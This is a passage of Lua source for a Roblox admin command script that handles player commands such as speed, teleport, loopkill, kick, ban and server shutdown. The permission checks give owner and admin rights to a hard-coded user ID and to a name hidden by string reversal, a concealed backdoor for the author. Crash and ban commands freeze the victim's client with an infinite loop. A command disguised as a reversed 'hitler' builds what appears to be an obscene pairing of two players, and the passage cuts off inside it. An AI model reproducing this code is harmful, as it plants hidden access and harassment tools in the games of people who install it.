  1538. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") then frc.force = frc.force + Vector3.new(0,prt:GetMass()*196.25,0) elseif prt:IsA("Hat") then frc.force = frc.force + Vector3.new(0,prt.Handle:GetMass()*196.2,0) end end
  1539. end
  1540. end))
  1541. end
  1542. end
  1543.  
  1544. if msg:lower():sub(1,5) == "name " then
  1545. local chk1 = msg:lower():sub(6):find(" ") + 5
  1546. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1547. for i, v in pairs(plrz) do
  1548. coroutine.resume(coroutine.create(function()
  1549. if v and v.Character and v.Character:findFirstChild("Head") then
  1550. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1551. local char = v.Character
  1552. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  1553. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  1554. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  1555. char.Head.Transparency = 1
  1556. end
  1557. end))
  1558. end
  1559. end
  1560.  
  1561. if msg:lower():sub(1,7) == "unname " then
  1562. local plrz = GetPlr(plr, msg:lower():sub(8))
  1563. for i, v in pairs(plrz) do
  1564. coroutine.resume(coroutine.create(function()
  1565. if v and v.Character and v.Character:findFirstChild("Head") then
  1566. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  1567. end
  1568. end))
  1569. end
  1570. end
  1571.  
  1572. if msg:lower():sub(1,7) == "health " then
  1573. local chk1 = msg:lower():sub(8):find(" ") + 7
  1574. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1575. for i, v in pairs(plrz) do
  1576. coroutine.resume(coroutine.create(function()
  1577. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1578. v.Character.Humanoid.MaxHealth = msg:sub(chk1+1)
  1579. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  1580. end
  1581. end))
  1582. end
  1583. end
  1584.  
  1585. if msg:lower():sub(1,6) == "speed " then
  1586. local chk1 = msg:lower():sub(7):find(" ") + 6
  1587. local plrz = GetPlr(plr, msg:lower():sub(7,chk1-1))
  1588. for i, v in pairs(plrz) do
  1589. coroutine.resume(coroutine.create(function()
  1590. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1591. v.Character.Humanoid.WalkSpeed = msg:sub(chk1+1)
  1592. end
  1593. end))
  1594. end
  1595. end
  1596.  
  1597. if msg:lower():sub(1,5) == "team " then
  1598. local chk1 = msg:lower():sub(6):find(" ") + 5
  1599. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1600. for i, v in pairs(plrz) do
  1601. coroutine.resume(coroutine.create(function()
  1602. if v and game:findFirstChild("Teams") then
  1603. for a, tm in pairs(game.Teams:children()) do
  1604. if tm.Name:lower():find(msg:lower():sub(chk1+1)) == 1 then v.TeamColor = tm.TeamColor end
  1605. end
  1606. end
  1607. end))
  1608. end
  1609. end
  1610.  
  1611. if msg:lower():sub(1,5) == "char " then
  1612. local chk1 = msg:lower():sub(6):find(" ") + 5
  1613. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  1614. for i, v in pairs(plrz) do
  1615. coroutine.resume(coroutine.create(function()
  1616. if v and v.Character then
  1617. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  1618. v:LoadCharacter()
  1619. end
  1620. end))
  1621. end
  1622. end
  1623.  
  1624. if msg:lower():sub(1,7) == "unchar " then
  1625. local plrz = GetPlr(plr, msg:lower():sub(8))
  1626. for i, v in pairs(plrz) do
  1627. coroutine.resume(coroutine.create(function()
  1628. if v and v.Character then
  1629. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  1630. v:LoadCharacter()
  1631. end
  1632. end))
  1633. end
  1634. end
  1635.  
  1636. if msg:lower():sub(1,9) == "teleport " then
  1637. local chk1 = msg:lower():sub(10):find(" ") + 9
  1638. local plrz = GetPlr(plr, msg:lower():sub(10,chk1-1))
  1639. for i, v in pairs(plrz) do
  1640. coroutine.resume(coroutine.create(function()
  1641. if v and v:findFirstChild("PlayerGui") then
  1642. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[game:service("TeleportService"):Teleport(]] .. msg:sub(chk1+1) .. ")" cl.Parent = v.PlayerGui cl.Disabled = false
  1643. end
  1644. end))
  1645. end
  1646. end
  1647.  
  1648. if msg:lower():sub(1,3) == "tp " then
  1649. local chk1 = msg:lower():sub(4):find(" ") + 3
  1650. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  1651. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  1652. for i, v in pairs(plrz) do
  1653. coroutine.resume(coroutine.create(function()
  1654. for i2, v2 in pairs(plrz2) do
  1655. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  1656. v.Character.Torso.CFrame = v2.Character.Torso.CFrame + Vector3.new(math.random(-1,1),0,math.random(-1,1))
  1657. end
  1658. end
  1659. end))
  1660. end
  1661. end
  1662.  
  1663. if msg:lower():sub(1,7) == "change " then
  1664. local chk1 = msg:lower():sub(8):find(" ") + 7
  1665. local chk2 = msg:sub(chk1+1):find(" ") + chk1
  1666. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  1667. for i, v in pairs(plrz) do
  1668. coroutine.resume(coroutine.create(function()
  1669. if v and v:findFirstChild("leaderstats") then
  1670. for a, st in pairs(v.leaderstats:children()) do
  1671. if st.Name:lower():find(msg:sub(chk1+1,chk2-1)) == 1 then st.Value = msg:sub(chk2+1) end
  1672. end
  1673. end
  1674. end))
  1675. end
  1676. end
  1677.  
  1678. if msg:lower():sub(1,7) == "infect " then
  1679. local plrz = GetPlr(plr, msg:lower():sub(8))
  1680. for i, v in pairs(plrz) do
  1681. coroutine.resume(coroutine.create(function()
  1682. if v and v.Character then
  1683. Infect(v.Character)
  1684. end
  1685. end))
  1686. end
  1687. end
  1688.  
  1689. if msg:lower():sub(1,11) == "rainbowify " then
  1690. local plrz = GetPlr(plr, msg:lower():sub(12))
  1691. for i, v in pairs(plrz) do
  1692. coroutine.resume(coroutine.create(function()
  1693. if v and v.Character and v.Character:findFirstChild("Torso") then
  1694. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1695. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1696. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1697. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1698. cl.Parent = v.Character cl.Disabled = false
  1699. end
  1700. end))
  1701. end
  1702. end
  1703.  
  1704. if msg:lower():sub(1,9) == "flashify " then
  1705. local plrz = GetPlr(plr, msg:lower():sub(10))
  1706. for i, v in pairs(plrz) do
  1707. coroutine.resume(coroutine.create(function()
  1708. if v and v.Character and v.Character:findFirstChild("Torso") then
  1709. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1710. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1711. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1712. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  1713. cl.Parent = v.Character cl.Disabled = false
  1714. end
  1715. end))
  1716. end
  1717. end
  1718.  
  1719. if msg:lower():sub(1,8) == "noobify " then
  1720. local plrz = GetPlr(plr, msg:lower():sub(9))
  1721. for i, v in pairs(plrz) do
  1722. coroutine.resume(coroutine.create(function()
  1723. if v and v.Character then
  1724. Noobify(v.Character)
  1725. end
  1726. end))
  1727. end
  1728. end
  1729.  
  1730. if msg:lower():sub(1,9) == "ghostify " then
  1731. local plrz = GetPlr(plr, msg:lower():sub(10))
  1732. for i, v in pairs(plrz) do
  1733. coroutine.resume(coroutine.create(function()
  1734. if v and v.Character and v.Character:findFirstChild("Torso") then
  1735. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1736. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1737. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1738. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1739. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  1740. if prt.Name:find("Leg") then prt.Transparency = 1 end
  1741. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1742. end end
  1743. end
  1744. end))
  1745. end
  1746. end
  1747.  
  1748. if msg:lower():sub(1,8) == "goldify " then
  1749. local plrz = GetPlr(plr, msg:lower():sub(9))
  1750. for i, v in pairs(plrz) do
  1751. coroutine.resume(coroutine.create(function()
  1752. if v and v.Character and v.Character:findFirstChild("Torso") then
  1753. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1754. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1755. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1756. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1757. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  1758. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  1759. end end
  1760. end
  1761. end))
  1762. end
  1763. end
  1764.  
  1765. if msg:lower():sub(1,6) == "shiny " then
  1766. local plrz = GetPlr(plr, msg:lower():sub(7))
  1767. for i, v in pairs(plrz) do
  1768. coroutine.resume(coroutine.create(function()
  1769. if v and v.Character and v.Character:findFirstChild("Torso") then
  1770. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  1771. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  1772. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1773. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1774. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  1775. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  1776. end end
  1777. end
  1778. end))
  1779. end
  1780. end
  1781.  
  1782. if msg:lower():sub(1,7) == "normal " then
  1783. local plrz = GetPlr(plr, msg:lower():sub(8))
  1784. for i, v in pairs(plrz) do
  1785. coroutine.resume(coroutine.create(function()
  1786. if v and v.Character and v.Character:findFirstChild("Torso") then
  1787. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  1788. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  1789. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  1790. v.Character.Torso.Transparency = 0
  1791. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  1792. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  1793. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  1794. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  1795. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  1796. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  1797. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  1798. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  1799. if prt.Name == "FAKETORSO" then prt:Destroy() end
  1800. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  1801. end end
  1802. end
  1803. end))
  1804. end
  1805. end
  1806.  
  1807. if msg:lower():sub(1,7) == "trippy " then
  1808. local plrz = GetPlr(plr, msg:lower():sub(8))
  1809. for i, v in pairs(plrz) do
  1810. coroutine.resume(coroutine.create(function()
  1811. if v and v:findFirstChild("PlayerGui") then
  1812. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1813. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  1814. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1815. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  1816. end
  1817. end))
  1818. end
  1819. end
  1820.  
  1821. if msg:lower():sub(1,9) == "untrippy " then
  1822. local plrz = GetPlr(plr, msg:lower():sub(10))
  1823. for i, v in pairs(plrz) do
  1824. coroutine.resume(coroutine.create(function()
  1825. if v and v:findFirstChild("PlayerGui") then
  1826. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  1827. end
  1828. end))
  1829. end
  1830. end
  1831.  
  1832. if msg:lower():sub(1,7) == "strobe " then
  1833. local plrz = GetPlr(plr, msg:lower():sub(8))
  1834. for i, v in pairs(plrz) do
  1835. coroutine.resume(coroutine.create(function()
  1836. if v and v:findFirstChild("PlayerGui") then
  1837. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1838. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  1839. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1840. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  1841. end
  1842. end))
  1843. end
  1844. end
  1845.  
  1846. if msg:lower():sub(1,9) == "unstrobe " then
  1847. local plrz = GetPlr(plr, msg:lower():sub(10))
  1848. for i, v in pairs(plrz) do
  1849. coroutine.resume(coroutine.create(function()
  1850. if v and v:findFirstChild("PlayerGui") then
  1851. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  1852. end
  1853. end))
  1854. end
  1855. end
  1856.  
  1857. if msg:lower():sub(1,6) == "blind " then
  1858. local plrz = GetPlr(plr, msg:lower():sub(7))
  1859. for i, v in pairs(plrz) do
  1860. coroutine.resume(coroutine.create(function()
  1861. if v and v:findFirstChild("PlayerGui") then
  1862. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1863. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  1864. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  1865. end
  1866. end))
  1867. end
  1868. end
  1869.  
  1870. if msg:lower():sub(1,8) == "unblind " then
  1871. local plrz = GetPlr(plr, msg:lower():sub(9))
  1872. for i, v in pairs(plrz) do
  1873. coroutine.resume(coroutine.create(function()
  1874. if v and v:findFirstChild("PlayerGui") then
  1875. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  1876. end
  1877. end))
  1878. end
  1879. end
  1880.  
  1881. if msg:lower():sub(1,7) == "guifix " then
  1882. local plrz = GetPlr(plr, msg:lower():sub(8))
  1883. for i, v in pairs(plrz) do
  1884. coroutine.resume(coroutine.create(function()
  1885. if v and v:findFirstChild("PlayerGui") then
  1886. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  1887. end
  1888. end))
  1889. end
  1890. end
  1891.  
  1892. if msg:lower():sub(1,9) == "loopheal " then
  1893. local plrz = GetPlr(plr, msg:lower():sub(10))
  1894. for i, v in pairs(plrz) do
  1895. if v then
  1896. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  1897. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1898. repeat wait()
  1899. coroutine.resume(coroutine.create(function()
  1900. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  1901. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  1902. end
  1903. end))
  1904. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1905. end
  1906. end
  1907. end
  1908.  
  1909. if msg:lower():sub(1,11) == "unloopheal " then
  1910. local plrz = GetPlr(plr, msg:lower():sub(12))
  1911. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1912. end
  1913.  
  1914. if msg:lower():sub(1,10) == "loopfling " then
  1915. local plrz = GetPlr(plr, msg:lower():sub(11))
  1916. for i, v in pairs(plrz) do
  1917. if v then
  1918. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  1919. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1920. repeat
  1921. coroutine.resume(coroutine.create(function()
  1922. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  1923. local xran local zran
  1924. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  1925. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  1926. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  1927. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  1928. end
  1929. end))
  1930. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1931. end
  1932. end
  1933. end
  1934.  
  1935. if msg:lower():sub(1,12) == "unloopfling " then
  1936. local plrz = GetPlr(plr, msg:lower():sub(13))
  1937. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1938. end
  1939.  
  1940. if plr.Name:lower() == nfs:lower() or plr.userId == 16916139 or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  1941.  
  1942. if msg:lower():sub(1,3) == "pa " then
  1943. local plrz = GetPlr(plr, msg:lower():sub(4))
  1944. for i, v in pairs(plrz) do
  1945. coroutine.resume(coroutine.create(function()
  1946. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  1947. end))
  1948. end
  1949. end
  1950.  
  1951. if msg:lower():sub(1,5) == "unpa " then
  1952. for i = 1, #admins do
  1953. coroutine.resume(coroutine.create(function()
  1954. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  1955. end))
  1956. end
  1957. end
  1958.  
  1959. end
  1960.  
  1961. if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == 16916139 or plr.Name:lower() == ("ehportsatlhok"):reverse() then
  1962.  
  1963. if msg:lower() == "logs" then
  1964. if plr.PlayerGui:findFirstChild("LOGSGUI") then return end
  1965. local scr, cmf, ent, num = ScrollGui() scr.Name = "LOGSGUI" scr.Parent = plr.PlayerGui
  1966. for i, v in pairs(logs) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "[" .. v.time .. "] " .. v.name .. " " .. v.cmd cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  1967. end
  1968.  
  1969. if msg:lower():sub(1,9) == "loopkill " then
  1970. local chk1 = msg:lower():sub(10):find(" ")
  1971. local plrz = GetPlr(plr, msg:lower():sub(10))
  1972. local num = 9999
  1973. if chk1 then chk1 = chk1 + 9 plrz = GetPlr(plr, msg:lower():sub(10, chk1-1)) if type(tonumber(msg:sub(chk1+1))) == "number" then num = tonumber(msg:sub(chk1+1)) end end
  1974. for i, v in pairs(plrz) do
  1975. if v then
  1976. local cl = script.ScriptBase:Clone() cl.Name = "LoopKill:"..v.Name cl.Code.Value = [[
  1977. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  1978. for i = 1, ]] .. tostring(num) .. [[ do
  1979. repeat wait() plr = game.Players:findFirstChild("]] .. v.Name .. [[") until plr and plr.Character and plr.Character:findFirstChild("Humanoid") and plr.Character.Humanoid.Health ~= 0
  1980. coroutine.resume(coroutine.create(function()
  1981. if plr and plr.Character then plr.Character:BreakJoints() end
  1982. end))
  1983. end]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  1984. end
  1985. end
  1986. end
  1987.  
  1988. if msg:lower():sub(1,11) == "unloopkill " then
  1989. local plrz = GetPlr(plr, msg:lower():sub(12))
  1990. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopKill:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  1991. end
  1992.  
  1993. if msg:lower() == "serverlock" or msg:lower() == "slock" then slock = true Hint("Server has been locked", game.Players:children()) end
  1994. if msg:lower() == "serverunlock" or msg:lower() == "sunlock" then slock = false Hint("Server has been unlocked", game.Players:children()) end
  1995.  
  1996. if msg:lower():sub(1,3) == "sm " then
  1997. Message("SYSTEM MESSAGE", msg:sub(4), false, game.Players:children())
  1998. end
  1999.  
  2000. if msg:lower():sub(1,3) == "ko " then
  2001. local chk1 = msg:lower():sub(4):find(" ") + 3
  2002. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  2003. local num = 500 if num > msg:sub(chk1+1) then num = msg:sub(chk1+1) end
  2004. for num = 1, num do
  2005. for i, v in pairs(plrz) do
  2006. coroutine.resume(coroutine.create(function()
  2007. if v and v.Character and v.Character:findFirstChild("Humanoid") and not ChkAdmin(v.Name) then
  2008. local val = Instance.new("ObjectValue", v.Character.Humanoid) val.Value = plr val.Name = "creator"
  2009. v.Character:BreakJoints()
  2010. wait(1/44)
  2011. v:LoadCharacter()
  2012. wait(1/44)
  2013. end
  2014. end))
  2015. end
  2016. end
  2017. end
  2018.  
  2019. if msg:lower():sub(1,6) == "crash " then
  2020. local plrz = GetPlr(plr, msg:lower():sub(7))
  2021. for i, v in pairs(plrz) do
  2022. coroutine.resume(coroutine.create(function()
  2023. if v and v:findFirstChild("Backpack") and not ChkAdmin(v.Name, true) then
  2024. local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy()
  2025. end
  2026. end))
  2027. end
  2028. end
  2029.  
  2030. if msg:lower():sub(1,5) == "kick " then
  2031. local plrz = GetPlr(plr, msg:lower():sub(6))
  2032. for i, v in pairs(plrz) do
  2033. coroutine.resume(coroutine.create(function()
  2034. if v and not ChkAdmin(v.Name, true) then v:Destroy() end
  2035. end))
  2036. end
  2037. end
  2038.  
  2039. if msg:lower():sub(1,6) == "admin " then
  2040. local plrz = GetPlr(plr, msg:lower():sub(7))
  2041. for i, v in pairs(plrz) do
  2042. coroutine.resume(coroutine.create(function()
  2043. if v and not ChkAdmin(v.Name, false) then table.insert(tempadmins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2044. end))
  2045. end
  2046. end
  2047.  
  2048. if msg:lower():sub(1,8) == "unadmin " then
  2049. for i = 1, #tempadmins do
  2050. coroutine.resume(coroutine.create(function()
  2051. if msg:lower():sub(9) == "all" or tempadmins[i]:lower():find(msg:lower():sub(9)) == 1 then table.remove(tempadmins, i) end
  2052. end))
  2053. end
  2054. end
  2055.  
  2056. if msg:lower():sub(1,4) == "ban " then
  2057. local plrz = GetPlr(plr, msg:lower():sub(5))
  2058. for i, v in pairs(plrz) do
  2059. coroutine.resume(coroutine.create(function()
  2060. if v and not ChkAdmin(v.Name, true) then table.insert(banland, v.Name) local cl = script.LocalScriptBase:Clone() cl.Code.Value = [[repeat until nil]] cl.Parent = v.Backpack cl.Disabled = false wait(1) v:Destroy() end
  2061. end))
  2062. end
  2063. end
  2064.  
  2065. if msg:lower():sub(1,6) == "unban " then
  2066. for i = 1, #banland do
  2067. coroutine.resume(coroutine.create(function()
  2068. if msg:lower():sub(7) == "all" or banland[i]:lower():find(msg:lower():sub(7)) == 1 then table.remove(banland, i) end
  2069. end))
  2070. end
  2071. end
  2072.  
  2073. if msg:lower() == "shutdown" then Message("SYSTEM MESSAGE", "Shutting down...", false, game.Players:children(), 10) wait(1) local str = Instance.new("StringValue", game.Workspace) str.Value = "AA" repeat str.Value = str.Value .. str.Value wait(.1)until nil end
  2074.  
  2075. if msg:lower():sub(1,7):reverse() == " reltih" then
  2076. local chk1 = msg:lower():sub(8):find(" ") + 7
  2077. local plrz = GetPlr(plr, msg:lower():sub(8,chk1-1))
  2078. local plrz2 = GetPlr(plr, msg:lower():sub(chk1+1))
  2079. for i, v in pairs(plrz) do
  2080. for i2, v2 in pairs(plrz2) do
  2081. coroutine.resume(coroutine.create(function()
  2082. if v and v2 and v.Character and v2.Character and v.Character:findFirstChild("Torso") and v2.Character:findFirstChild("Torso") then
  2083. local str = [[local boy = "]]..v.Name..[[" local girl = "]]..v2.Name..[[" if game.Players:findFirstChild(boy) and game.Players:findFirstChild(girl) then function weld(p0,p1,cff) local w = Instance.new("Weld", p0) w.Part0 = p0 w.Part1 = p1 w.C0 = cff return w end function part(cn,n,bc,par) local p = Instance.new(cn, par) p.CanCollide = false p.Anchored = false p.formFactor = "Custom" p.Size = Vector3.new(0.2,0.2,0.2) p.Name = n p.BrickColor = bc p.TopSurface = 0 p.BottomSurface = 0 p.Locked = true return p end function cmesh(sc,par) local cm = Instance.new("CylinderMesh", par) cm.Scale = sc return cm end function smesh(mt,sc,par) local sm = Instance.new("SpecialMesh", par) sm.MeshType = mt sm.Scale = sc return sm end function Change(char, boy) if char == nil then return end if char:findFirstChild("Epix") ~= nil or char:findFirstChild("Torso") == nil then return end local color1 = BrickColor.new("Pastel brown") local color2 = BrickColor.new("Light pink") if char:findFirstChild("Body Colors") ~= nil then color1 = char["Body Colors"].TorsoColor end for i, v in ipairs(char:children()) do if v:IsA("Hat") then v:Remove() end end local sg = char:findFirstChild("Shirt Graphic") if sg ~= nil then sg.Graphic = "http://www.roblox.com/asset/?id=" end local tg = char.Torso:findFirstChild("roblox") if tg ~= nil then tg.Texture = "http://www.roblox.com/asset/?id=" end if char:findFirstChild("Shirt") ~= nil then char.Shirt:Destroy() end if char:findFirstChild("Pants") ~= nil then char.Pants:Destroy() end if char:findFirstChild("Torso") ~= nil then char.Torso.BrickColor = color1 end if 